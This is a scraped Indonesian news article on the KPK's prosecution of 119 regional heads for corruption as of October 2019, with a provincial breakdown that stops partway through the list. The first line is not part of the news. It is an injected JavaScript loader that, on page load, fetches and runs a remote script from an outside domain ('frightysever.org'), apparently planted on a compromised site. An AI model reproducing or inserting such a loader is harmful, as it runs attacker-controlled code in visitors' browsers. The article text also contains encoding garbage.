(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hukum

119 Kepala Daerah Terciduk KPK, 9 Diantaranya dari Kalimantan

JAKARTA, Komisi Pemberantasan Korupsi (KPK) telah mengusut 119 kasus Kepala Daerah terkait rasuah, dan 47 orang di antaranya dijerat karena terciduk operasi tangkap tangan. Ã‚Â Dari jumlah tersebut, 9 orang merupakan kepala daerah dari Kalimantan.

Sebanyak 9 kepala daerah asal Kalimantan yang dijerat KPK yakni dari Kalimantan Selatan 1 kepala daerah (Bupati HST), Kalimantan Tengah 2 kepala daerah, Kalimantan Timur ada 5 kepala daerah, dan Kalimantan Barat 1 orang kepala daerah.

Terbaru adalah KPK menangkap Bupati Lampung Utara Agung Ilmu Mangkunegara terkait kasus suap proyek-proyek di lingkungan pemerintahannya. Ã‚Â “Dari 119 orang kepala daerah yang diproses KPK, 47 di antaranya itu dari kegiatan tangkap tangan atau hanya 39,4 persen,” kata Juru Bicara KPK Febri Diansyah kepada awak media, Rabu (9/10).

Berdasarkan data KPK, dari 119 kepala daerah yang diproses KPK, Provinsi Jawa Barat dan Jawa Timur menjadi daerah yang paling banyak kepada daerahnya diusut KPK. Ada 14 kepala daerah dari masing-masing provinsi tersebut.

Kemudian disusul dengan Sumatera Utara sebanyak 12 kepala daerah, Jawa Tengah sebanyak 10 kepala daerah, dan Sumatera Selatan 7 kepala daerah. Febri menyebut data tersebut per 7 Oktober 2019 atau saat penahanan Bupati Lampung Utara.

Berikut daftar rinci provinsi asal 119 kepala daerah yang dijerat KPK :

1. Aceh 4 kepala daerah

2. Bengkulu 3 kepala daerah

3. Sumatera Selatan 7 kepala daerah

4. Sumatera Utara 12 kepala daerah

5. Sumatera Barat 1 kepala daerah

6. Jambi 1 kepala daerah

7. Lampung 4 kepala daerah

8. Riau 6 kepala daerah

9. Kepulauan Riau 4 kepala daerah

10. Banten 4 kepala daerah

11. Jawa Barat 14 kepala daerah